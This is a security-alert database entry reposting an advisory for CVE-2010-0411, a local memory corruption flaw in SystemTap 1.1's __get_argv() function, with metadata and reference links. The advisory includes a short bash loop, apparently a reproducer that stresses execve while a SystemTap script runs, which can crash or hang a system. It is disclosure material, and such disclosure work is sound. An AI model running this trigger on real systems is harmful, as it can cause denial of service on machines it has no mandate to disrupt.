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Home arrow SecurityAlert Database

Arrow  Topic :

SystemTap 1.1 Local Memory Corruption Vulnerabilities


Arrow  SecurityAlert : 7007
Arrow  CVE : CVE-2010-0411
Arrow  CWE : CWE-189
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : Vincent Danen
Arrow  Published : 11.02.2010

Arrow  Affected Software : systemtap:systemtap:1.1



Arrow  Advisory Content :  

Just a heads up that an issue in SystemTap was found where using the
__get_argv() function in tapset could result in a crash of the SystemTap
script that calls it (and syscall.execve) or, if it's running as root,
could lead to a hang/crash of the system running the script.

This flaw has been assigned CVE-2010-0411. More details can be found
here:

https://bugzilla.redhat.com/show_bug.cgi?id=559719
http://sourceware.org/bugzilla/show_bug.cgi?id=11234

#!/bin/bash
while [ "0" = "0" ] ; do
HOME=1
/bin/echo /usr/src/kernels/2.6.18-128.el5-PAE-i686/include/*/*

cat /proc/slabinfo
done


Arrow  References :

https://bugzilla.redhat.com/show_bug.cgi?id=559719
http://www.securityfocus.com/bid/38120
http://sourceware.org/git/gitweb.cgi?p=systemtap.git;a=commit;h=a2d399c87a642190f08ede63dc6fc434a5a8363a
http://sourceware.org/bugzilla/show_bug.cgi?id=11234
http://secunia.com/advisories/38426
http://marc.info/?l=oss-security&m=126530657715364&w=2




Arrow  Feedback :

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